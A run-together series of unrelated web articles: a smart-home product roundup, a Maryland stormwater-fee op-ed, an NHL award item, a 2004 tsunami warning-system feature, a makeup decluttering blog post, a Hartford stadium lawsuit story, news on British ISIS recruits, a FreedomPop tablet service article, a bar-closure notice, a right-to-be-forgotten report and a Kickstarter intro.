The set includes a visual remote control app for your smartphone so you can transform even the oldest home into a connected one using SmartThings’ line of connected appliances. From doors and locks to lights and switches to motion detection, there are SmartThing sensors that can control every possible facet of your home life. The company even has a kind of app store so you can add new control features to your existing gadgets.
One more thing: SmartThings is now owned by Samsung. The Korean conglomerate says it will be integrating SmartThings technology into its other lines of conventional appliances—ranging from refrigerators and ovens to smart television sets and vacuum cleaners.
Runners-up:
Energy Saver
Our pick: Nest Learning Thermostat, $249
No matter how hot the summer or chilly the winter, a smart thermostat lower your utility bills with intelligent temperature control. The Google-owned Nest has won plaudits for its ability to automatically adjust its settings based on your lifestyle patterns. It can also connect with other smart gadgets such as smartwatches to smart lighting to smart cars and share data.
One thing that makes smart thermostats intimidating is the complicated process of programming them. Not so with Nest. This thermostat learns from the temperatures you set and when you set them, and creates a personalized schedule that conserves energy when you’re not there.
For developer types, Nest also has a public API (see our API explainer). So tech-savvy users can build custom apps to work alongside it and offer even more functionality.
Runners-up:
Automated Security
Our Pick: Okidokeys, $189
Once you get past the obnoxious name, there’s a lot to love about Okidokeys. Anyone who has ever locked herself out of the house will appreciate the way this product turns any lock, no matter how old school, into a wireless smart lock. Replace your door’s deadbolt with the smart-lock module, and you can unlock the door by sending it a message from your Android or iOS phone via Bluetooth.
The thing we looked for in a smart lock was a module that could work in an older home without a lot of difficult installation, and this fit the bill. For $189, you get a single smart lock for one door. Then again, for many apartments (and some houses), that’s all you need.
Runners-up:
Kitchen Helper
Our pick: Crock-Pot Smart Slow Cooker, $130
This is the kind of smart home appliance that doesn’t come in a set and connect to a major hub, but that can still make your life much easier.
Supposedly it’s fine to leave a slow cooker going while you’re at work all day. And in theory, it’s fine. But what if an emergency comes up at work and you won’t be getting home when you expected? Just like I wouldn’t leave the oven on while I was out of my house, I still don’t like doing the same with a crockpot. Which is why this WiFi connected crockpot buys peace of mind. It connects to a WeMo smart phone app so you can control it remotely according to your constantly shifting schedule.
Runners-up:
DIY Smart Home
Our pick: LittleBits Smart Home Kit, $249
For the tinkerer who sees the advent of smart home as more of an adventure than a product to install, this kit from LittleBits has all the bells and whistles. For the person who has more time than money, it might be more fun to modify the products you already have around your house than to buy brand new “smart” ones.
Using a central smart phone app, you can automate your pet feeder or program your curtains to open in the morning. This kit comes with 14 modules, from a temperature sensor to an MP3 player to littleBits’ version of the central smart hub, the cloudBit. Like all littleBits products, this kit requires no soldering. The brightly colored modules snap together with magnets so you don’t have to worry about complicated breadboards or incorrect wiring.
Runners-up:
Photos via SmartThings, Nest, Okidokeys, Crock-pot, and LittleBitsDonald Fry: Miller Gets It Right on ‘Rain Tax’ Repeal
By Donald C. Fry
This week, the Maryland House of Delegates heard proposed legislation by Senate President Thomas V. “Mike” Miller to repeal the state’s controversial “rain tax” and replace it with an optional fee that counties can impose at their discretion.
The bill passed the Senate last week with a vote of 46-0. This comes after the House Environment and Transportation Committee voted earlier this month to defeat a similar proposal by Governor Larry Hogan.
On April 1, that same House committee heard Senate Bill 863, which would repeal the requirement that the state’s 10 largest jurisdictions charge a fee to help pay for federally-mandated stormwater management processes that are meant to curb pollution in the Chesapeake Bay. However, counties would be required to submit plans for how they will meet the federal requirements, identify sources of funding to implement them and to regularly report the status of its compliance under the plans.
Funding sources could include implementing a fee but, rather than being mandated by the state, it would be at the county’s discretion. Montgomery County, which implemented its own stormwater remediation fee before the statewide fee was enacted, would be exempt.
Eliminating the rain tax was a centerpiece issue in Governor Hogan’s campaign last year.
Environmentalists generally favor a state-mandated fee. But “we’re okay with increased flexibility as long as there’s increased accountability,” Alison Prost, Maryland executive director of the Chesapeake Bay Foundation, told members of the Environment and Transportation Committee. The reality is that the current law “is not working on the ground the way it was intended,” she said.
Meanwhile, on March 13 “Clean Water, Healthy Families,” a coalition of Bay advocates, released poll results demonstrating that public support for stormwater remediation fees can be strengthened by more information about their purpose.
According to the OpinionWorks poll, which surveyed 594 registered voters, 84 percent of voters believe the problem of local water pollution can be fixed but fewer than four in 10 believe their local government has enough money and resources to tackle the problem. Most respondents said they would support a reasonable fee dedicated to curbing water pollution but only 23 percent of respondents supported the rain tax based on what they know or have heard, while 40 percent were opposed.
Once provided with facts about the fee – including that all funds collected locally will stay in local communities to pay for projects that improve water quality in the Bay and its tributaries – support of the fee jumped to 46 percent while opposition dropped to 33 percent. If voters believe a stormwater remediation fee would be effective at reducing pollution, their support tends to be stronger, the survey showed.
Clearly, Marylanders care about pollution entering the state’s waterways and are willing to pay for prevention as long as they are confident that taxpayer money will go toward effective pollution reduction projects.
State officials have already told the affected jurisdictions they do not have to impose the fee if they can find another way to keep stormwater runoff from entering the Chesapeake Bay. The legislation proposed by Senate President Miller ratifies that policy, striking a good balance between appeasing opponents who see a fee as another “tax” and fulfilling the state’s responsibilities to the federal government and its citizens to clean up our waterways.
From the standpoint of public perception, should Miller’s bill pass it could be argued that the rain tax is gone. But in reality the pressure still would fall to Baltimore City and nine counties to find ways to meet the federal stormwater remediation requirements by using existing sources of funding. Or, they could impose a tax – except that the tax wouldn’t be mandated by the state. Instead, local officials will have opted for the tax.
Senate President Miller, using his extraordinary skills and acumen as a legislator and leader, has found a way through the mass discord created by the so-called “rain tax.” His proposed legislation would accomplish two key objectives.
First, it would end the public perception that a new tax had been created by the state. It wasn’t really, but lawmakers had concocted an awkward way to enable local jurisdictions to address funding challenges related to complying with EPA stormwater remediation regulations.
By the way, those funding challenges vary widely among the 10 affected jurisdictions. Projected capital spending in the next five years required to comply with the EPA regulations ranges from $464 million in Anne Arundel County to $5 million in Harford County, according to legislative analysts.
Other projected five-year capital costs for Baltimore region jurisdictions are: $146 million for Baltimore City, $135 million for Baltimore County, $100 million for Howard County and $21 million for Carroll County.
Second, Miller’s legislation would ensure that the impacted counties submit regular reports showing that they are complying with their plans for mitigating polluted stormwater runoff.
In hindsight, passage of the stormwater management fee by state lawmakers was an overreach. Whenever one political party dominates, whether it is in a state legislature or on Capitol Hill, the temptation can be overwhelming to take legislative action because you know your party has the numbers to get something passed.
The best lawmaking, however, involves finding the least burdensome or restrictive but effective way to accomplish an ultimate goal, which in this case is planning and funding new strategies to keep the Chesapeake Bay clean.
Senate President Miller – a seasoned political pro – has shown how to accomplish the same goal without having to overreach to make a major constituency happy.
Not surprisingly, Miller got it right.
Donald C. Fry is president and CEO of the Greater Baltimore Committee. He is a regular contributor to Center Maryland.ST. PAUL -- Minnesota Wild forward Jason Zucker has been named the NHL's First Star of the Week after leading the League with six goals (and ranked T-1st in scoring with seven points) last week. Zucker recorded a point in all four games as the Wild went 2-2-0 on a four-game road trip.
Zucker has tallied the last six goals scored by Minnesota to set a new franchise record, and he is one goal shy of matching a League record that has stood since 1921.
He recorded an assist in a 5-3 loss at Boston (11/6), recorded both goals in a 4-2 loss at Toronto (11/8), tallied three goals in the third period of a 3-0 win at Montreal (11/9) to record his first career hat trick, and netted the game-winning goal in the third period of a 1-0 victory at Philadelphia (11/11).
Video: Zucker named NHL's First Star of the Week
Zucker is just the second player in Wild history to pick up a hat trick in only one period.
His total stat line for the past week includes six goals, one assist, seven points, a plus-4 rating, two game-winning goals, one shorthanded goal, 1 shorthanded assist, 17 shots and four hits. Zucker leads the Wild in goals (nine), points (14), PPG (three) and multi-point games (five) this season and ranks T-1st in shots on goal (46).
Tampa Bay Lightning right wing Nikita Kucherov and Washington Capitals goalie Braden Holtby are the NHL's Second and Third Stars of the week, respectively.It was 3:00 p.m. on Christmas day, 2004 when Stuart Weinstein’s pager buzzed in the operations room at the Pacific Tsunami Warning Center in Hawaii. Seismic waves from an earthquake off the coast of northern Sumatra had activated a seismometer in Australia. Initial readings said magnitude 8.0.
His colleague Barry Hirshorn, a geophysicist, rushed into the control room. His pager had gone off too. Together, they scrambled to locate the epicenter of the quake. In the Indian Ocean, it was early morning, December 26.
“We were flying blind in the sense that we could not determine if a tsunami had been generated,” said Weinstein the center’s assistant director.
Fifteen minutes later, the Pacific Tsunami Warning Center issued its first bulletin. There had been an earthquake, but there was no tsunami threat to the Pacific Basin, where the center is based, it read. When an updated reading showed the magnitude at 8.5, they sent out a second bulletin. There is a possibility of a tsunami near the epicenter, this one said.
They were missing important information. With no real-time sea level data, they had no way of knowing that the violent movement of tectonic plates — specifically, the India plate sliding underneath the Burma plate – had displaced enormous amounts of water, sending out shock waves and triggering what would become a devastating tsunami.
Some four hours later, the tsunami waves had crashed over Indonesia, Thailand, India, Sri Lanka and the Maldives, destroying buildings, uprooting trees and claiming an estimated 230,000 lives. News of the tsunami reached Weinstein, and soon after, he received an email from Harvard seismologists, upgrading the earthquake’s magnitude again to an 8.9. That was when he realized the rest of the Indian Ocean was in danger.
“Those two pieces of information together told us that a basin-wide destructive tsunami was in progress across the Indian Ocean,” Weinstein said.
Tsunami science was a small field in 2004, with only a hundred or so experts around the world, said Eddie Bernard, who was the director of the Pacific Marine Environmental Laboratory at the time. NOAA had established the tsunami warning center for the Pacific Basin, but there was no warning system for Indonesia, Thailand, the Maldives and Sri Lanka in 2004.
“The speed of the warning wasn’t even the issue,” Bernard said. “There was nobody on the other end of the line.”
Some 2,000 miles from Weinstein at the Pacific Marine Environmental Laboratory in Seattle, Washington, Vasily Titov was scouring through news reports and tide gauge stations for any information about the waves, furiously trying to build a model to predict the tsunami’s path and flooding potential. As the night wore on, news reports slowed as the floods knocked out communication from afflicted areas. He posted the model on the Internet as the waves raced toward Africa, flying across the Indian Ocean at a speed of 500 miles an hour.
“It was surreal on many levels,” Titov, now the director of tsunami research at NOAA, said. “Instruments for tsunami measuring were almost nonexistent…I was frantically putting models together by hand.”
The news had also reached Costas Synolakis, director of the University of Southern California Tsunami Research Center. He was in Greece, preparing for his wedding just four days away. Wedding planning screeched to a halt as he scrambled to coordinate survey teams to the affected areas.
As the death tolls rose, Synolakis was inundated with photos from strangers, asking him if he could please find their loved ones in Thailand and Sri Lanka. He canceled his honeymoon.
He had surveyed every tsunami disaster since 1992, but this was unreal. “It is the worst nightmare coming true…there was no warning. It was worse than what we thought possible,” he said.
Back in Hawaii, seven hours after the earthquake hit, Weinstein was in contact with the U.S. embassies in East Africa, telling them to evacuate. But by the time the conference call took place, the waves were already hitting Madagascar.
When he got home, Weinstein stared at the ceiling, contemplating what had just happened and their failure to release a warning in time. Three weeks later, the magnitude was upgraded once more — this time to a 9.2.
“Over the hours and days that passed I remember the casualty count going from the hundreds to the thousands, to the tens of thousands, to the hundreds of thousands,” Weinstein said. “I was physically drained. I was mentally exhausted. I was emotionally drained. I was hoping I would never have to live through and visit something like this. For a long time, not a day went by that I didn’t think about what transpired that day.”
It was the deadliest tsunami in recorded history. Thousands of miles away, the disaster shook scientists to their core. But the catastrophic loss of life changed tsunami science forever, said Harry Yeh, professor of civil engineering at Oregon State University.
“This was the event,” he said. “It was a turning point.”
The disaster drew global political attention and fueled investment in tsunami research. Bernard’s 2004 team at PMEL consisted of just four scientists focusing on tsunami forecasting. At the time, scientists estimated a tsunami’s strength by the magnitude of the earthquake.
“We had no idea how much energy was in a tsunami,” Bernard said. “No one knew how energy from an earthquake got into the water column. It turns out the ‘bigger earthquake, bigger tsunami’ idea doesn’t hold up.”
At the time, having an accurate tsunami warning system was a dream for Bernard, Synolakis and Titov. For the past ten years, PMEL had been developing buoys that would deliver information about rapid changes in sea level in real time. Unlike forecasting major storms, tsunamis require loads of data to model correctly and it is always a race against time, Titov said.
“You have literally seconds in tsunami time. Tsunami models are simpler than atmospheric science models, but you have to run them in seconds,” he said. “You have to nail it right away otherwise it can be harmful.”
By 2004, NOAA had deployed six DART buoys. (DART stands for Deep-ocean Assessment and Reporting of Tsunamis.) There were seven in the world, total, but only three were operational, according to NOAA.
Today there are 60 in oceans worldwide. Each million-dollar buoy has contributed critical data to tsunami models, building on what Titov started late that Christmas night.
“It’s not very often that you can write some equations on a piece of paper and see it saving lives,” he said.
There have been 40 tsunamis since the Indian Ocean tsunami in 2004. And the difference between the tsunami warning system in 2004 and today is “night and day,” Bernard said. Real-time models run in minutes and have a 70 to 80 percent accuracy rate.
“We are running these models — ten years ago it took hours and now they take seconds. Seconds!” Bernard said.
By the time the Tohoku tsunami struck Japan in 2011, the system was already saving lives. In Banda Aceh in 2004, 90 percent of the people in impacted areas died, Synolakis said. In the heavily impacted areas of Japan in 2011, 10 percent of people died. And while the death toll from the Tohoku tsunami was still tragically high, the warning got more people to safety in time, Bernard said. It’s a sign of how much progress has been made in a decade, he concluded.
“The science has progressed incredibly,” Synolakis agreed. “Not only can we issue warning but we can also estimate the flooding area. It’s entirely possible to do in real time, faster than the tsunami arrives.”
There’s still more progress to be made. More data would further improve models, and as supercomputers advance, the models can run faster, Titov said. The warning system works well now for tsunamis that start far from coastlines. More information would improve models for tsunamis that start closer to shore, Synolakis said. And scientists still don’t know how energy from “stealth earthquakes,” which produce very little shaking, generate about 10 percent of tsunamis, Synolakis said. Another mystery to model: how the tsunami moves once it reaches land, he added.
But the final mile is getting the word out fast enough, and to the right people, Synolakis said. Response times vary by locality. Sometimes this is a matter of education, helping the public and emergency management understand the danger with each warning. He recalls seeing people rush to the beach to watch tsunami waves as they rolled into Santa Monica, California in 2010 — something that could have been deadly.
But it’s also a matter of communication. Cell phones and the Internet mean the warning can spread quickly, but throughout the Pacific and Indian Ocean there are villages without access to these. For example, when a tsunami hit Mentawai in October 2010, a warning flashed across television screens. But very few residents had electricity, much less a television set. That tsunami killed an estimated 400 people, according to the Jakarta Globe.
“We still have a lot of work to do,” Synolakis said. “We can give out timely warnings. But we still have the last mile, and that’s the implementation of the warnings.”
On the NewsHour tonight, special correspondent Kira Kay reports on Indonesia and the recovery of a community that was nearly wiped out by the 2004 tsunami.I can’t be the only one who finds watching decluttering videos and reading decluttering posts absolutely therapeutic? After hearing of Marie Kondo’s book “The Life-Changing Magic of Tidying Up” earlier this year, I’ve become quite obsessed at decluttering our life and house. I have been known to sit at my desk for 10 minutes a week and go through everything I have laying about. There’s definitely always been an element of decluttering to my personality, as I’ve been cleaning out my wardrobe and selling items on eBay for around five years now for a bit of extra cash during uni!
If you’ve been following me for awhile, you’ll know this year I have been pretty into the subreddit “Makeup Rehab”, and the idea of more mindful purchasing rather than giving in to the hype train. For the most part, I have been succeeding, mainly due to the fact I’ve been on a strict budget this year as Cody and I are saving to purchase our first home!
On my budget, I am allowed to spend 5% of my income on “toys” (makeup, clothes, shoes, etc) which at first honestly made me cry, but as time has gone on I’ve adapted really well. I’ve actually saved enough for a DSLR camera which I’ve been dying to buy the entire time I’ve been blogging, now I’m just waiting for a good deal to purchase.
Being mindful of my limited budget, this has also led to my current collection and if there are any products being unloved, or even straight up disliked.
I piled up a tonne of stuff I didn’t want and didn’t want to sell (I don’t have any photos, unfortunately) and gave it away to friends and family around March-May. Mostly gift with purchase items from Mum and a few lip colours I’d received in packs that weren’t my style.
When the Instabeautyau Facebook group selling event came along I jumped at the chance to get rid of a few products I had laying around. I wasn’t overly successful, but I did sell my Stila Spirit palette which I rarely touched (Purchased for the red shade and “Kitten” which I’ve found dupes for).
Recently I decided to join a Facebook group specifically for selling and I’ve had moderate success so far. Above are some of the products I’m trying to sell/have sold in this group. I’ve also recently added my Hourglass Bronzer and Urban Decay Concealer as it’s too dark for me. I’ve made a few hundred selling my unloved makeup online which is great to boost my “toys” account and for my guilt in not using expensive products.
I also often feel overwhelmed with the amount of PR stuff I accumulate when I attend events. Typically when I receive PR requests |
qualified or capable of developing and managing Dillon Stadium.
"It is a made-up story," said Eric Hard, a West Hartford attorney who is representing Anderson and Premier Sports Management Group. "You've got a city doing a sophisticated stadium revitalization project, and the premise of this suit is the city doesn't have the vaguest idea what it is doing."
In an interview, Anderson said he had been talking to the city about building a soccer stadium since 2004, when he tried to get a venue for the now defunct Connecticut Wolves soccer team. The project only came together now because the city got enough funding to do the rebuild.
Anderson said the city hired his firm so quickly — a week after it was formed and one day after it submitted its proposal — based on the strength of its plans. Premier Sports, which was the only company to submit a project proposal, was based in Farmington when it was formed but has since relocated to Hartford's Colt Gateway building.
Premier is being paid a one-time $775,000 fee to oversee the redevelopment, according to its contract with the city. Civic Mind said its redevelopment fee was supposed to be $482,000, according to its lawsuit. Both of those sums don't include management fees for running the stadium after the project's completion.
Lisa Silvestri, Hartford's assistant corporation counsel, declined to comment on the lawsuit.
Dillon's progress
Situated in Colt Park, Dillon Stadium was built in 1935 and holds a capacity of 9,600 people. It typically has been used for concerts and high school sporting events. The women's tackle football team New England Nightmare played their 2013 home games there.
The Dillon Stadium redevelopment is in its early stages, but the city has already allocated $12 million for the project, which includes Premier's fee. The city hopes construction will be complete before the 2016 professional soccer season.
But that timeline might not be realistic, and the $12 million might not be enough to finish the project, Anderson said.
The project is more likely to be ready for a professional soccer team starting for the 2017 spring season, Anderson said.
Premier will solicit proposals next week to demolish the stadium, which could take place as early as mid-February, Anderson said.
After the demolition, Premier plans to build a new 10,000-seat stadium with four VIP concourses and 10 executive suites that would be approved by soccer's governing body FIFA, so the facility can hold international games there as well, Anderson said.
If the project goes over $12 million, Premier will seek out private funding to finish the job, he said.
"It is like any construction you do, like building a house. You build what you want, and if you end up needing a little more to finish it, you get it," Anderson said.
Premier's plan for the stadium includes signing a deal with a men's professional soccer team to build a facility that best fits the team's needs.
That's in contrast to Civic Mind's plan, which called for the redevelopment of the stadium to be made in phases based on the demands of organizations that want to use it. Civic Mind's top goal was to have a women's professional soccer team occupy the stadium.
The 12-team North American Soccer League, which was founded in 1968 but would be considered a minor league compared to Major League Soccer, has reached out to Premier and the city about expanding into Hartford, although no formal agreement has been made, said Stephen Cole, senior project manager for Hartford's Economic Development Division.
Anderson said he is interviewing people now to create an ownership group for a NASL team in Hartford, although he would not give a timeline for when Premier might announce an expansion team.
Civic Mind's proposal called for the new stadium to accommodate professional soccer as well as high school and other community events.
Under current plans, however, the city is seeking to build a separate, 3,000-seat stadium in Colt Park to accommodate community events; Dillon Stadium would be used for the 15 NASL home games plus a few major events like UConn men's soccer games, WWE events, and festival concerts.
"With the land we have, we can do two fields," Cole said. "We haven't figured out yet where in the park Little Dillon will go."
According to its proposal, Premier will receive an $850,000 yearly fee once the stadium starts hosting events, with that figure rising steadily to $1 million by 2022.
Civic Mind's annual management fee was supposed to be $125,000 annually plus revenue sharing for the stadium and professional teams.
In its lawsuit, Civic Mind is asking for $259,446 that the city didn't pay the company for the 10 months of work it did while operating as the preferred vendor; the loss of its $482,000 project management fees; $125,000 in annual stadium management fees; and lost revenue sharing.
[Editor's note: How the story played out - Stadium deal collapses and city's economic development czar resigns]
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Updated: Audit commission to launch investigation of Dillon deal
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Dillon Stadium redevelopment possibly dead
Football player takes over delayed Hartford stadium projectMore British citizens signed up to fight in Iraq and Syria than joined the Army Reserve last year, it can be revealed.
Just 170 extra reservists enlisted over the past year - despite a Government target to boost the stand-by force by 11,000 by 2018.
But at the same time the brutal al-Qaeda inspired ISIS forces tearing through Iraq have been boosted by'several hundred' Brits, ministers told MailOnline.
Scroll down for video
The terror organisation ISIS has wreaked havoc in Iraq and Syria. Ministers are increasingly concerned British-born recruits could return to the UK intent on carrying out attacks in the UK
Terror experts believe there could be as many as 500 Brits fighting alongside the jihadists in the Middle East for ISIS (Islamic State in Iraq and Syria).
A senior government minister said: ‘There is a real problem about people going in and being radicalised and then coming home. There are several hundred who have gone from Britain that we know of. It is a worry.
'To get to Iraq most of them will have to go through Syria, so the two are connected.’
Foreign Secretary William Hague yesterday admitted Brit will 'inevitably' be fighting alongside ISIS which he called the'most violent and brutal militant group in the Middle East'.
He said the majority of Isis' members were Iraqi or Syrian but 'it also includes a significant number of foreign fighters among its ranks'.
Mr Hague said: 'As I have previously told this House, we estimate the number of UK-linked individuals fighting in Syria to include approximately 400 British nationals and other UK-linked individuals who could present a particular risk should they return to the UK.' He said'some of these, inevitably' are 'fighting with' Isis.
Shadow defence secretary Vernon Coaker said he revelation was humiliating for the country and needed to be tackled.
Mr Coaker said: 'The government's own figures show more UK citizens are joining ISIS than signing up for the Armed Forces Reserves. This is shameful, embarrassing and will cause deep concern.
'We need to see action to ensure recruitment to the Armed Forces meets the targets set. Otherwise, Britain will be left with a dangerous capability gap.'
The Government has launched a campaign to recruit 11,000 new reservists to boost the size of the back-up force to 30,000 by 2018. But between April 2013 and April 2014 just 170 signed up
Shadow defence secretary Vernon Coaker (centre), with Labour leader Ed Miliband on a surprise visit to Camp Bastion earlier this year, attacked the'shameful' failure to recruit British forces for the Army Reserve
In the whole of 2013 the number of British Army reservists actually fell by 50 to just 19,150 at the start of the year.
Over the 12 months to April this year – a period during in which the Government claimed recruitment had improved – the number of reservists in Britain increased by just 170.
The Army's stalling recruitment drive comes despite a pledge to raise the numbers of reservists to 30,000 by 2018.
The Ministry of Defence has insisted it was confident the target would be met - as part of plans to slash the size of the regular Army from 102,000 in 2010 to 82,000 in 2018.
But this would require an extra 2,750 reservists a year to be recruited.
The MoD said: 'Although there have been a number of technical challenges, the programme is on track and the Reserves are now growing in size for the first time in 18 years.'
Foreign Affairs Select Committee member Mike Gapes said it was'shocking and very worrying' that more British citizens were prepared to risk their lives fighting alongside terrorists in the Middle East than had signed up for the Army Reserve.
Foreign Secretary William Hague, speaking in the Commons yesterday, said it was 'inevitable' that Brits were fighting alongside ISIS forces in Iraq and suggested 400 had travelled to the Middle East to join the battle against President Assad in some capacity
He said: 'There are clearly a pool of people who are being recruited by these extremist groups through the internet. It is very serious and we have got to be very tough on it.
'These figures show there is a minority of people who are fanatical and prepared to join extremist groups, but also that the Government's recruitment to the Army Reserves is not going very well at all.
'There are large numbers living in this country going to fight for these vile terrorist organisations and that's very worrying, particularly if they are returning to Britain having seen what they have seen and looking to recruit terrorists back here.'
The revelation comes after former Prime Minister Tony Blair said British fighters returning from Iraq and Syria were the Government's single, biggest security concern.
Mr Blair said: 'If we don't deal with the Syria issue then the problems are not just going to be for Syria and for the region, the problems are actually going to come back and they are going to hit us very directly even in our own country.'
He added: 'If you talk to security services in France and Germany and the UK, they will tell you their biggest single worry today returning jihadists fighters - our own citizens by the way - from Syria.'
Charlie Cooper, an expert at the anti-extremist think tank, Quilliam Foundation, said the number of Brits signing up to fight in the Middle East would only grow.
He said: 'People are going from Britain and the EU to fight for ISIS - the estimate is more than 500 and that number will probably rise.
'If you want to go and fight jihad, ISIS, which holds a particularly extreme view of Islam and wants to create an extreme Islamic utopia, is a very attractive group to fight for.'
While the British Army Reserve has struggled to attract recruits, the brutal ISIS insurgency in Iraq has been bolstered by'several hundred' British-born fighters. An image emerged over the weekend allegedly showing ISIS militants executing dozens of captured Iraqi security forces members. British security services fear ISIS recruits will return to the UK scarred by their experience in Iraq
The al-Qaeda inspired ISIS terror group has carved out an area of control across the middle east, threatening to tear apart the current national borders. A senior government minister told MailOnline the route into Iraq for many Brits was through war-ravaged Syria, to the west
David Cameron's official spokesman has acknowledged fears British citizens could be among the ISIS fighters in Iraq, saying: 'Our security services and all the relevant agencies will be monitoring those types of risks very closely.
'Clearly there is a very porous border between parts of Syria and parts of Iraq.
'As the Prime Minister has said, the greatest extremist activity and jihadist threats to the international community are in Syria. We need to keep these things under very close watch.'
Immigration and Security Minister James Brokenshire, meanwhile, has warned any Brits considering joining the battle abroad that they will face jail in Britain for any terror-related offences - even if they are carried out abroad.
He said: 'The Serious Crime Bill would extend the reach of the Terrorism Act 2006 so that UK-linked individuals and those who seek to harm UK interests, who travel overseas to prepare or train more generally for terrorism, can be prosecuted as if their actions had taken place in the UK.'
A Foreign Office spokesman has previously added: 'People who are thinking about travelling to Syria to engage in terrorist activity should be in no doubt that we will take the strongest possible action to protect our national security, including prosecuting those who break the law.'FreedomPop has expanded its service to the iPad, introducing free talk, text and data for any Sprint-compatible iPad.
FreedomPop has been around for several years now, and although it hasn’t gained a huge heap of popularity, it’s one of the most unique deals that you’ll find in the mobile market, offering completely free service with a small allowance of data per month.
The company has been focusing on smartphones for the past couple of years, as well as mobile hotspots for creating WiFi networks while on the go. However, FreedomPop is finally giving the iPad a chance and is letting anyone with a Sprint-compatible iPad to get free talk, text and data.
That’s right, you also get talk and text with your service on your iPad. Users will get 200 minutes, 500 text messages and 500MB of data per month, and you even get your own phone number and voicemail inbox when you activate your iPad with FreedomPop, so you can essentially use your Apple tablet as a smartphone, thanks to FreedomPop’s proprietary VoIP platform.
You can also get a free headset for making and receiving phone calls on your tablet, since using the speakerphone 100% of the time probably isn’t too feasible.
While you can use your own iPad (as long as it’s Sprint-compatible) for this service, FreedomPop can sell you the original iPad mini with LTE for just $320 off-contract. This is quite the deal, considering that Apple sells the same model for over $100 more, starting at $429, although the FreedomPop models are refurbished. Still, this puts them at the same price that Apple sells them for in the company’s own refurbished store.
However, if iOS isn’t your cup of mojo or you’re looking for a cheaper option, FreedomPop is also selling Samsung’s Galaxy Tab 3 for $199.
Of course, making calls or messaging other people from your iPad isn’t anything new, as Skype allows similar functionality over VoIP, but FreedomPop’s ability to tie in a phone number with your iPad is something unique, and since a lot of messaging apps require a phone number be tied into the app, this allows iPads and other tablets on FreedomPop to be used with these apps without any problems.
The iPad has long been a popular device and a great supplement to a smartphone, but lately many users have been trying to find ways to turn their tablets into smartphones themselves, allowing them to make and receive phone calls, as well as text message other users. A couple of Android tablets have received this functionality in the past, but not the iPad. This service from FreedomPop makes it possible for iPad users to do this.
This added feature to FreedomPop also comes just months before Apple is expected to announce successors to the iPad Air and iPad mini with Retina display, both of which are said to be getting generous speed improvements, Apple’s Touch ID fingerprint sensor, and a slightly updated design, although the overall design of the shell will likely remain the same for the most part.
Furthermore, the iPhone 6 is expected to be the flagship product out of all the new stuff that Apple is expected to launch this fall. The new phone is rumored to come with a larger screen, a faster processor, and an all-new design with rounded edges that will take after the design of the iPad Air and iPad mini. Two models are expected to be produced, one with a 4.7-inch screen and the other being a 5.5-inch behemoth that could poke into the sales of the iPad mini, but that’s something that we’ll definitely just have to wait and see about come fall.Treehouse booker and reliable dude Kyle Sowash just posted this on The Treehouse’s Facebook group page:
Treehouse patrons: On Friday, I resigned as the booking contact for the Treehouse for the past 2.5 years due to some really terrible things going on behind the scenes. As a result (of the terrible things happening behind the scenes, not me quitting), I got word on Saturday night that the bar is closed indefinitely. It’s a long, sad story I’ll tell you sometime if you see me out and about and want to know what happened. I wish I could have given you all more notice, but, like I said, I got word last night. It’s been a mostly great run (you know, despite the really terrible things going on behind the scenes). We had some amazing shows (local and national) happen here through the years, and I can’t thank you enough for your support. Anyways, I think I’ve contacted all the people who have set up shows there in the next couple months. If you’re reading this now and haven’t heard from me, I regret to inform you that your upcoming show is not going to happen at the Treehouse. Terribly sorry. Try Carabar, or Ace of Cups, or Rumba Cafe, or Cafe Bourbon St. or the Summit. Well, Treehouse patrons, thanks again for all the good times and rock and roll. See you around. Enjoy this Wesley Willis song. It’s, uh, pretty timely. – KSImage caption Paris Brown, 17, apologised for tweets from a few years ago.
Tearful teenager Paris Brown sobbed on television at the weekend as offensive tweets she had posted years prior to her appointment as Britain's first youth police and crime commissioner were picked up by the media.
Some of the tweets were about sex, drinking and drug taking, while others were considered to have been potentially homophobic and racist.
She described the tweets as "stupid, immoral" and apologised profusely for their content - but also said she didn't believe they should play a part in her life today.
"I don't think they should shape my future and my career and how I'm going to represent young people," she said of the tweets she posted between the ages of 14 and 16.
Her new boss, Kent police and crime commissioner Ann Barnes, said Ms Brown was "learning very quickly" about her public persona.
Right to be forgotten
Ms Brown has now deleted her Twitter page, but under a European Commission proposal known as "the right to be forgotten", EU citizens would also be entitled to ask companies such as Twitter to delete their data from the firms' servers.
Those organisations would then be obliged to comply unless there were "legitimate" reasons not to.
Twitter as a private company might be asked to remove data but it doesn't put anyone else under the right. Jim Killock, Open Rights Group
After the unveiling of the proposals last year, designed to replace 27 individual regulations in place in member countries, a spokesman for European Justice Commissioner Viviane Reding told the BBC they were drawn up with young people in mind.
"They are not always as aware as they could be about the consequence of putting photos and other information on social network websites, or about the various privacy settings available," he said.
So would it have helped Paris Brown?
"The idea that it would have had much impact here would be over-stated," said Jim Killock, head of the Open Rights Group, a campaign group for privacy and consumer rights online.
"It may be that [Ms Brown] could have asked for the account to be deleted in full but it wouldn't remove the historic record of what she said, which might well be in other caches," he added.
That is because material posted onto Twitter is public, so it is collectable by any other website or individual, and the "right to be forgotten" only applies to the source company, Mr Killock explained.
"The right to be forgotten is more about the right to delete or erase," he said.
"Twitter as a private company might be asked to remove data but it doesn't put anyone else under the right."
Image caption Justice Secretary Chris Grayling says the proposals "promise much but deliver little"
In any case Ms Brown may not have had access to the proposed directive at all from her home in Kent, as UK Justice Secretary Chris Grayling opposes it.
"The UK does not support the 'right to be forgotten' as proposed by the European Commission. The title raises unrealistic and unfair expectations of the proposals," said the Ministry of Justice in a statement.
"We are also concerned about potentially impossible requirements for data controllers to manage third-party erasure; the'reasonable steps' required by the draft regulation would promise much, but deliver little."
'Unclear and un-enforceable'
Mr Killock disagrees.
"Everybody wants to be part of a single data protection regulation, apart from the UK government," he said.
Mr Killock dismissed the UK's current data protection laws as "inconsistent, unclear and un-enforceable" but not all businesses want to turn their backs on them, said BBC technology correspondent Rory Cellan-Jones.
"The EU plan for a 'right to be forgotten' has raised the stakes in the battle over our online privacy," he said.
"Consumer groups have welcomed the policy as an essential protection in a fast-changing world - while major technology firms are complaining that it will be impractical and damaging to investment in Europe.
"But with more and more examples of the damage our online histories can cause, the pressure to give consumers more control will only grow."* "Thank you so much to Filmmaker Magazine and IFP for featuring us on their curated pages!"
HELLO WORLD!
Thank you for visiting our Kickstarter page! Please take your time, read below for more information and background.
On the right side bar, you can get a lot of awesome rewards based on your contribution to help us finish the film. (You will not be charged unless we are fully funded).
You can also be a part of this project by simply sharing our links. This is a very funny and entertaining film that will surely touch lives and we thank you for all the support!
ABOUT US:
